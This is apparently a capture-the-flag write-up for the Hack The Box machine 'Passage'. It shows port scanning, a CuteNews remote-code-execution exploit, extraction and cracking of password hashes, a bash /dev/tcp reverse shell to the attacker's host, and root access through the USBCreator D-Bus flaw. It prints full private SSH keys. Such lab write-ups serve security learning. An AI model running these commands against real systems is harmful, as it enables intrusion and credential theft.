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Passage Writeup
Introduction :
Passage is a Medium Linux box released back in September 2020.
Passage is a Medium Linux box released back in September 2020.
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB]
→ nmap -vvv -p- 10.10.10.206 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
Discovered open port 80/tcp on 10.10.10.206
Discovered open port 22/tcp on 10.10.10.206
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB]
→ nmap -sCV -p22,80 10.10.10.206
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-27 18:25 CEST
Nmap scan report for 10.10.10.206
Host is up (0.47s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
| 256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_ 256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.23 seconds
Our nmap scan picked up port 80, and we see that this is a CuteNews instance:
We don't know the version of cutenews so we're going to use the most up to date RCE exploit we get from searchsploit:
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB]
→ searchsploit cutenews Remote Code
---------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------- ---------------------------------
CuteNews 1.1.1 - 'html.php' Remot | php/webapps/4851.txt
CuteNews 2.1.2 - 'avatar' Remote | php/remote/46698.rb
CuteNews 2.1.2 - Remote Code Exec | php/webapps/48800.py
---------------------------------- ---------------------------------
Shellcodes: No Results
Let's use 48800.py
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/passage]
→ cp $(locate 48800.py) .
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/passage]
→ vim 48800.py
Looking at it we basically see that it's looking for a webpage at /CuteNews/cdata/users/lines:
So we can do this manually:
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage]
→ curl http://10.10.10.206/CuteNews/cdata/users/lines
?php die('Direct call - access denied'); ?>
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?php die('Direct call - access denied'); ?>
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5ODgyOTgzMztzOjY6ImVncmU1NSI7fX0=
?php die('Direct call - access denied'); ?>
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImVncmU1NUB0ZXN0LmNvbSI7czo2OiJlZ3JlNTUiO319
?php die('Direct call - access denied'); ?>
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?php die('Direct call - access denied'); ?>
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzI4MTtzOjk6InNpZC1tZWllciI7fX0=
?php die('Direct call - access denied'); ?>
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjU6ImFkbWluIjt9fQ==
?php die('Direct call - access denied'); ?>
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImtpbUBleGFtcGxlLmNvbSI7czo5OiJraW0tc3dpZnQiO319
?php die('Direct call - access denied'); ?>
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzIzNjtzOjEwOiJwYXVsLWNvbGVzIjt9fQ==
?php die('Direct call - access denied'); ?>
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo5OiJzaWQtbWVpZXIiO2E6OTp7czoyOiJpZCI7czoxMDoiMTU5MjQ4MzI4MSI7czo0OiJuYW1lIjtzOjk6InNpZC1tZWllciI7czozOiJhY2wiO3M6MToiMyI7czo1OiJlbWFpbCI7czoxNToic2lkQGV4YW1wbGUuY29tIjtzOjQ6Im5pY2siO3M6OToiU2lkIE1laWVyIjtzOjQ6InBhc3MiO3M6NjQ6IjRiZGQwYTBiYjQ3ZmM5ZjY2Y2JmMWE4OTgyZmQyZDM0NGQyYWVjMjgzZDFhZmFlYmI0NjUzZWMzOTU0ZGZmODgiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg1NjQ1IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIyIjt9fX0=
?php die('Direct call - access denied'); ?>
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzA0NztzOjU6ImFkbWluIjt9fQ==
?php die('Direct call - access denied'); ?>
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6InNpZEBleGFtcGxlLmNvbSI7czo5OiJzaWQtbWVpZXIiO319
?php die('Direct call - access denied'); ?>
YToxOntzOjQ6Im5hbWUiO2E6MTp7czoxMDoicGF1bC1jb2xlcyI7YTo5OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMjM2IjtzOjQ6Im5hbWUiO3M6MTA6InBhdWwtY29sZXMiO3M6MzoiYWNsIjtzOjE6IjIiO3M6NToiZW1haWwiO3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6NDoibmljayI7czoxMDoiUGF1bCBDb2xlcyI7czo0OiJwYXNzIjtzOjY0OiJlMjZmM2U4NmQxZjgxMDgxMjA3MjNlYmU2OTBlNWQzZDYxNjI4ZjQxMzAwNzZlYzZjYjQzZjE2ZjQ5NzI3M2NkIjtzOjM6Imx0cyI7czoxMDoiMTU5MjQ4NTU1NiI7czozOiJiYW4iO3M6MToiMCI7czozOiJjbnQiO3M6MToiMiI7fX19
?php die('Direct call - access denied'); ?>
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo5OiJraW0tc3dpZnQiO2E6OTp7czoyOiJpZCI7czoxMDoiMTU5MjQ4MzMwOSI7czo0OiJuYW1lIjtzOjk6ImtpbS1zd2lmdCI7czozOiJhY2wiO3M6MToiMyI7czo1OiJlbWFpbCI7czoxNToia2ltQGV4YW1wbGUuY29tIjtzOjQ6Im5pY2siO3M6OToiS2ltIFN3aWZ0IjtzOjQ6InBhc3MiO3M6NjQ6ImY2NjlhNmY2OTFmOThhYjA1NjIzNTZjMGNkNWQ1ZTdkY2RjMjBhMDc5NDFjODZhZGNmY2U5YWYzMDg1ZmJlY2EiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg3MDk2IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIzIjt9fX0=
?php die('Direct call - access denied'); ?>
?php die('Direct call - access denied'); ?>
?php die('Direct call - access denied'); ?>
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?php die('Direct call - access denied'); ?>
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzMwOTtzOjk6ImtpbS1zd2lmdCI7fX0=
we basically get a bunch of base64 strings and some php lines, we don't want the php lines obviously:
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage]
→ curl http://10.10.10.206/CuteNews/cdata/users/lines | grep -v php > stuff.b64
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 3840 100 3840 0 0 4076 0 --:--:-- --:--:-- --:--:-- 4072
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage]
→ cat stuff.b64
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6MTA6InBhdWwtY29sZXMiO319
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5ODgyOTgzMztzOjY6ImVncmU1NSI7fX0=
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImVncmU1NUB0ZXN0LmNvbSI7czo2OiJlZ3JlNTUiO319
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo1OiJhZG1pbiI7YTo4OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMDQ3IjtzOjQ6Im5hbWUiO3M6NToiYWRtaW4iO3M6MzoiYWNsIjtzOjE6IjEiO3M6NToiZW1haWwiO3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjQ6InBhc3MiO3M6NjQ6IjcxNDRhOGI1MzFjMjdhNjBiNTFkODFhZTE2YmUzYTgxY2VmNzIyZTExYjQzYTI2ZmRlMGNhOTdmOWUxNDg1ZTEiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg3OTg4IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIyIjt9fX0=
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzI4MTtzOjk6InNpZC1tZWllciI7fX0=
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjU6ImFkbWluIjt9fQ==
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImtpbUBleGFtcGxlLmNvbSI7czo5OiJraW0tc3dpZnQiO319
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzIzNjtzOjEwOiJwYXVsLWNvbGVzIjt9fQ==
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo5OiJzaWQtbWVpZXIiO2E6OTp7czoyOiJpZCI7czoxMDoiMTU5MjQ4MzI4MSI7czo0OiJuYW1lIjtzOjk6InNpZC1tZWllciI7czozOiJhY2wiO3M6MToiMyI7czo1OiJlbWFpbCI7czoxNToic2lkQGV4YW1wbGUuY29tIjtzOjQ6Im5pY2siO3M6OToiU2lkIE1laWVyIjtzOjQ6InBhc3MiO3M6NjQ6IjRiZGQwYTBiYjQ3ZmM5ZjY2Y2JmMWE4OTgyZmQyZDM0NGQyYWVjMjgzZDFhZmFlYmI0NjUzZWMzOTU0ZGZmODgiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg1NjQ1IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIyIjt9fX0=
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzA0NztzOjU6ImFkbWluIjt9fQ==
YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6InNpZEBleGFtcGxlLmNvbSI7czo5OiJzaWQtbWVpZXIiO319
YToxOntzOjQ6Im5hbWUiO2E6MTp7czoxMDoicGF1bC1jb2xlcyI7YTo5OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMjM2IjtzOjQ6Im5hbWUiO3M6MTA6InBhdWwtY29sZXMiO3M6MzoiYWNsIjtzOjE6IjIiO3M6NToiZW1haWwiO3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6NDoibmljayI7czoxMDoiUGF1bCBDb2xlcyI7czo0OiJwYXNzIjtzOjY0OiJlMjZmM2U4NmQxZjgxMDgxMjA3MjNlYmU2OTBlNWQzZDYxNjI4ZjQxMzAwNzZlYzZjYjQzZjE2ZjQ5NzI3M2NkIjtzOjM6Imx0cyI7czoxMDoiMTU5MjQ4NTU1NiI7czozOiJiYW4iO3M6MToiMCI7czozOiJjbnQiO3M6MToiMiI7fX19
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YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzMwOTtzOjk6ImtpbS1zd2lmdCI7fX0=
Now we simply decode these:
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage]
→ cat stuff.b64 | base64 -d
a:1:{s:5:"email";a:1:{s:16:"paul@passage.htb";s:10:"paul-coles";}}a:1:{s:2:"id";a:1:{i:1598829833;s:6:"egre55";}}a:1:{s:5:"email";a:1:{s:15:"egre55@test.com";s:6:"egre55";}}a:1:{s:4:"name";a:1:{s:5:"admin";a:8:{s:2:"id";s:10:"1592483047";s:4:"name";s:5:"admin";s:3:"acl";s:1:"1";s:5:"email";s:17:"nadav@passage.htb";s:4:"pass";s:64:"7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1";s:3:"lts";s:10:"1592487988";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:2:"id";a:1:{i:1592483281;s:9:"sid-meier";}}a:1:{s:5:"email";a:1:{s:17:"nadav@passage.htb";s:5:"admin";}}a:1:{s:5:"email";a:1:{s:15:"kim@example.com";s:9:"kim-swift";}}a:1:{s:2:"id";a:1:{i:1592483236;s:10:"paul-coles";}}a:1:{s:4:"name";a:1:{s:9:"sid-meier";a:9:{s:2:"id";s:10:"1592483281";s:4:"name";s:9:"sid-meier";s:3:"acl";s:1:"3";s:5:"email";s:15:"sid@example.com";s:4:"nick";s:9:"Sid Meier";s:4:"pass";s:64:"4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88";s:3:"lts";s:10:"1592485645";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:2:"id";a:1:{i:1592483047;s:5:"admin";}}a:1:{s:5:"email";a:1:{s:15:"sid@example.com";s:9:"sid-meier";}}a:1:{s:4:"name";a:1:{s:10:"paul-coles";a:9:{s:2:"id";s:10:"1592483236";s:4:"name";s:10:"paul-coles";s:3:"acl";s:1:"2";s:5:"email";s:16:"paul@passage.htb";s:4:"nick";s:10:"Paul Coles";s:4:"pass";s:64:"e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd";s:3:"lts";s:10:"1592485556";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:4:"name";a:1:{s:9:"kim-swift";a:9:{s:2:"id";s:10:"1592483309";s:4:"name";s:9:"kim-swift";s:3:"acl";s:1:"3";s:5:"email";s:15:"kim@example.com";s:4:"nick";s:9:"Kim Swift";s:4:"pass";s:64:"f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca";s:3:"lts";s:10:"1592487096";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"3";}}}a:1:{s:4:"name";a:1:{s:6:"egre55";a:11:{s:2:"id";s:10:"1598829833";s:4:"name";s:6:"egre55";s:3:"acl";s:1:"4";s:5:"email";s:15:"egre55@test.com";s:4:"nick";s:6:"egre55";s:4:"pass";s:64:"4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc";s:4:"more";s:60:"YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==";s:3:"lts";s:10:"1598834079";s:3:"ban";s:1:"0";s:6:"avatar";s:26:"avatar_egre55_spwvgujw.php";s:6:"e-hide";s:0:"";}}}a:1:{s:2:"id";a:1:{i:1592483309;s:9:"kim-swift";}}%
It looks ugly in one line but we only want the 64 characters long hashes which are basically password hashes, so we save them in another file:
[ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage]
→ echo '7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1' > hashes.txt
[ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage]
→ echo '4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88' >> hashes.txt
[ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage]
→ echo 'e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd' >> hashes.txt
[ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage]
→ echo 'f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca' >> hashes.txt
[ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage]
→ echo '4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc' >> hashes.txt
[ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage]
→ cat hashes.txt
7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc
Now that we have our password hashes let's crack them online:
So right here we have 2 credentials egre555:egre555 and paul:atlanta1, now let's run the python script to get RCE and a reverse shell onto the box:
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage]
→ python3 48800.py
_____ __ _ __ ___ ___ ___
/ ___/_ __/ /____ / |/ /__ _ _____ |_ | < / |_ |
/ /__/ // / __/ -_) / -_) |/|/ (_- / __/_ / / / __/
\___/\_,_/\__/\__/_/|_/\__/|__,__/___/ /____(_)_(_)____/
___ _________
/ _ \/ ___/ __/
/ , _/ /__/ _/
/_/|_|\___/___/
[->] Usage python3 expoit.py
Enter the URL> http://10.10.10.206
================================================================
Users SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN
================================================================
7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc
================================================================
=============================
Registering a users
=============================
[+] Registration successful with username: 2Try8myZEO and password: 2Try8myZEO
=======================================================
Sending Payload
=======================================================
signature_key: fe0e5ee6388a2c269ba1a68f5c176505-2Try8myZEO
signature_dsi: 44e4955df800171626681b1c1c666d3f
logged in user: 2Try8myZEO
============================
Dropping to a SHELL
============================
command > id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
So here we get RCE as www-data, now let's spawn a reverse bash shell with it:
[terminal 1]
command > bash -c 'bash -i >& /dev/tcp/10.10.14.11/9001 0>&1'
[terminal 2]
[ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage]
→ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.206] 40140
bash: cannot set terminal process group (1562): Inappropriate ioctl for device
bash: no job control in this shell
www-data@passage:/var/www/html/CuteNews/uploads$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
So as expected we get a reverse shell as www-data, let's first spawn a fully-interactive TTY:
www-data@passage:/var/www/html/CuteNews/uploads$ which python python3 wget curl
/usr/bin/python
/usr/bin/python3
/usr/bin/wget
/usr/bin/curl
www-data@passage:/var/www/html/CuteNews/uploads$ cd /tmp
cd /tmp
www-data@passage:/tmp$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@passage:/tmp$ ^Z
[1] + 2211312 suspended nc -lvnp 9001
[ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage]
→ stty raw -echo ; fg
[1] + 2211312 continued nc -lvnp 9001
export TERM=screen-256color
www-data@passage:/tmp$ export SHELL=bash
www-data@passage:/tmp$ stty rows 50 columns 200
www-data@passage:/tmp$ reset
And now we have a fully interactive TTY, now let's use su to privesc to the user paul since we got his credentials earlier:
www-data@passage:/tmp$ su paul
Password:
paul@passage:/tmp$ cd ~
paul@passage:~$ ls -lash
total 112K
4.0K drwxr-x--- 16 paul paul 4.0K Feb 5 06:30 .
4.0K drwxr-xr-x 4 root root 4.0K Jul 21 2020 ..
0 ---------- 1 paul paul 0 Jul 21 2020 .bash_history
4.0K -rw-r--r-- 1 paul paul 220 Aug 31 2015 .bash_logout
4.0K -rw-r--r-- 1 paul paul 3.7K Jul 21 2020 .bashrc
4.0K drwx------ 10 paul paul 4.0K Sep 1 2020 .cache
4.0K drwx------ 14 paul paul 4.0K Aug 24 2020 .config
4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 Desktop
4.0K -rw-r--r-- 1 paul paul 25 Aug 24 2020 .dmrc
4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 Documents
4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 Downloads
12K -rw-r--r-- 1 paul paul 8.8K Apr 20 2016 examples.desktop
4.0K drwx------ 2 paul paul 4.0K Aug 24 2020 .gconf
4.0K drwx------ 3 paul paul 4.0K Feb 5 06:58 .gnupg
4.0K -rw------- 1 paul paul 1.9K Feb 5 06:30 .ICEauthority
4.0K drwx------ 3 paul paul 4.0K Aug 24 2020 .local
4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 Music
4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 Pictures
4.0K -rw-r--r-- 1 paul paul 655 May 16 2017 .profile
4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 Public
4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 .ssh
4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 Templates
4.0K -r-------- 1 paul paul 33 Jun 27 10:49 user.txt
4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 Videos
4.0K -rw------- 1 paul paul 52 Feb 5 06:30 .Xauthority
4.0K -rw------- 1 paul paul 1.3K Feb 5 06:58 .xsession-errors
4.0K -rw------- 1 paul paul 1.2K Feb 5 04:42 .xsession-errors.old
paul@passage:~$ cat user.txt
77XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And we got the user flag.
Now in order to privesc this box we can run linpeas.sh after adding our public ssh key to the box for ease of use:
[terminal 1]
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/passage]
→ cp /home/nothing/HTB/openkeys/linpeas.sh .
[ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/passage]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
[terminal 2]
paul@passage:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAfhgjcMFy5mO4fwhQyW6vdX5bgTzqZTh9MhCW7+k6Sj nothing@nowhere' >> ~/.ssh/authorized_keys
[ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/passage]
→ ssh paul@10.10.10.206 -i ~/.ssh/mainpc
The authenticity of host '10.10.10.206 (10.10.10.206)' can't be established.
ECDSA key fingerprint is SHA256:oRyj2rNWOCrVh9SCgFGamjppmxqJUlGgvI4JSVG75xg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.206' (ECDSA) to the list of known hosts.
paul@passage:~$ id
uid=1001(paul) gid=1001(paul) groups=1001(paul)
paul@passage:~$ wget http://10.10.14.11:9090/linpeas.sh -O /tmp/peas.sh
--2021-06-27 11:00:53-- http://10.10.14.11:9090/linpeas.sh
Connecting to 10.10.14.11:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 341863 (334K) [text/x-sh]
Saving to: ‘/tmp/peas.sh’
/tmp/peas.sh 100%[===============================================================>] 333.85K 172KB/s in 1.9s
2021-06-27 11:00:56 (172 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863]
paul@passage:~$ chmod +x /tmp/peas.sh
paul@passage:~$ /tmp/peas.sh
Let linpeas.sh run a bit and then when we check the output we stumble upon USBCreator as a DBus Service Object:
Linpeas.sh clearly tells us that USBCreator is vulnerable so let's investigate, after a bit of googling we find this blogpost which explains how to privesc using USBCreator:
Basically we can copy files as the root user, for example the root flag or the root user's private ssh keys, so let's do it:
paul@passage:~$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/id_rsa true
Error: GDBus.Error:org.freedesktop.DBus.Python.dbus.exceptions.DBusException: com.ubuntu.USBCreator.Error.NotAuthorized
(According to introspection data, you need to pass 'ssb')
Obviously we can't do that with the user paul we need to do it with the user called nadav, however for some reason as you can see here, the user paul seems to have nadav's public ssh key here so it's safe to assume that the private ssh key that is associated with paul's account is actually nadav's account:
paul@passage:~$ cat ~/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzXiscFGV3l9T2gvXOkh9w+BpPnhFv5AOPagArgzWDk9uUq7/4v4kuzso/lAvQIg2gYaEHlDdpqd9gCYA7tg76N5RLbroGqA6Po91Q69PQadLsziJnYumbhClgPLGuBj06YKDktI3bo/H3jxYTXY3kfIUKo3WFnoVZiTmvKLDkAlO/+S2tYQa7wMleSR01pP4VExxPW4xDfbLnnp9zOUVBpdCMHl8lRdgogOQuEadRNRwCdIkmMEY5efV3YsYcwBwc6h/ZB4u8xPyH3yFlBNR7JADkn7ZFnrdvTh3OY+kLEr6FuiSyOEWhcPybkM5hxdL9ge9bWreSfNC1122qq49d nadav@passage
[...]
paul@passage:~/.ssh$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzXiscFGV3l9T2gvXOkh9w+BpPnhFv5AOPagArgzWDk9uUq7/4v4kuzso/lAvQIg2gYaEHlDdpqd9gCYA7tg76N5RLbroGqA6Po91Q69PQadLsziJnYumbhClgPLGuBj06YKDktI3bo/H3jxYTXY3kfIUKo3WFnoVZiTmvKLDkAlO/+S2tYQa7wMleSR01pP4VExxPW4xDfbLnnp9zOUVBpdCMHl8lRdgogOQuEadRNRwCdIkmMEY5efV3YsYcwBwc6h/ZB4u8xPyH3yFlBNR7JADkn7ZFnrdvTh3OY+kLEr6FuiSyOEWhcPybkM5hxdL9ge9bWreSfNC1122qq49d nadav@passage
So let's save the private key locally to ssh as the user nadav:
[terminal 1]
paul@passage:~/.ssh$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAs14rHBRld5fU9oL1zpIfcPgaT54Rb+QDj2oAK4M1g5PblKu/
+L+JLs7KP5QL0CINoGGhB5Q3aanfYAmAO7YO+jeUS266BqgOj6PdUOvT0GnS7M4i
Z2Lpm4QpYDyxrgY9OmCg5LSN26Px948WE12N5HyFCqN1hZ6FWYk5ryiw5AJTv/kt
rWEGu8DJXkkdNaT+FRMcT1uMQ32y556fczlFQaXQjB5fJUXYKIDkLhGnUTUcAnSJ
JjBGOXn1d2LGHMAcHOof2QeLvMT8h98hZQTUeyQA5J+2RZ63b04dzmPpCxK+hbok
sjhFoXD8m5DOYcXS/YHvW1q3knzQtddtqquPXQIDAQABAoIBAGwqMHMJdbrt67YQ
eWztv1ofs7YpizhfVypH8PxMbpv/MR5xiB3YW0DH4Tz/6TPFJVR/K11nqxbkItlG
QXdArb2EgMAQcMwM0mManR7sZ9o5xsGY+TRBeMCYrV7kmv1ns8qddMkWfKlkL0lr
lxNsimGsGYq10ewXETFSSF/xeOK15hp5rzwZwrmI9No4FFrX6P0r7rdOaxswSFAh
zWd1GhYk+Z3qYUhCE0AxHxpM0DlNVFrIwc0DnM5jogO6JDxHkzXaDUj/A0jnjMMz
R0AyP/AEw7HmvcrSoFRx6k/NtzaePzIa2CuGDkz/G6OEhNVd2S8/enlxf51MIO/k
7u1gB70CgYEA1zLGA35J1HW7IcgOK7m2HGMdueM4BX8z8GrPIk6MLZ6w9X6yoBio
GS3B3ngOKyHVGFeQrpwT1a/cxdEi8yetXj9FJd7yg2kIeuDPp+gmHZhVHGcwE6C4
IuVrqUgz4FzyH1ZFg37embvutkIBv3FVyF7RRqFX/6y6X1Vbtk7kXsMCgYEA1WBE
LuhRFMDaEIdfA16CotRuwwpQS/WeZ8Q5loOj9+hm7wYCtGpbdS9urDHaMZUHysSR
AHRFxITr4Sbi51BHUsnwHzJZ0o6tRFMXacN93g3Y2bT9yZ2zj9kwGM25ySizEWH0
VvPKeRYMlGnXqBvJoRE43wdQaPGYgW2bj6Ylt18CgYBRzSsYCNlnuZj4rmM0m9Nt
1v9lucmBzWig6vjxwYnnjXsW1qJv2O+NIqefOWOpYaLvLdoBhbLEd6UkTOtMIrj0
KnjOfIETEsn2a56D5OsYNN+lfFP6Ig3ctfjG0Htnve0LnG+wHHnhVl7XSSAA9cP1
9pT2lD4vIil2M6w5EKQeoQKBgQCMMs16GLE1tqVRWPEH8LBbNsN0KbGqxz8GpTrF
d8dj23LOuJ9MVdmz/K92OudHzsko5ND1gHBa+I9YB8ns/KVwczjv9pBoNdEI5KOs
nYN1RJnoKfDa6WCTMrxUf9ADqVdHI5p9C4BM4Tzwwz6suV1ZFEzO1ipyWdO/rvoY
f62mdwKBgQCCvj96lWy41Uofc8y65CJi126M+9OElbhskRiWlB3OIDb51mbSYgyM
Uxu7T8HY2CcWiKGe+TEX6mw9VFxaOyiBm8ReSC7Sk21GASy8KgqtfZy7pZGvazDs
OR3ygpKs09yu7svQi8j2qwc7FL6DER74yws+f538hI7SHBv9fYPVyw==
[terminal 2]
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage]
→ chmod 600 pkey
[ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage]
→ ssh -i pkey nadav@10.10.10.206
Last login: Mon Aug 31 15:07:54 2020 from 127.0.0.1
nadav@passage:~$
Now let's try the gdbus privesc path:
nadav@passage:~$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/rootkey true
()
nadav@passage:~$ cat /tmp/rootkey
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAth1mFSVw6Erdhv7qc+Z5KWQMPtwTsT9630uzpq5fBx/KKzqZ
B7G3ej77MN35+ULlwMcpoumayWK4yZ/AiJBm6FEVBGSwjSMpOGcNXTL1TClGWbdE
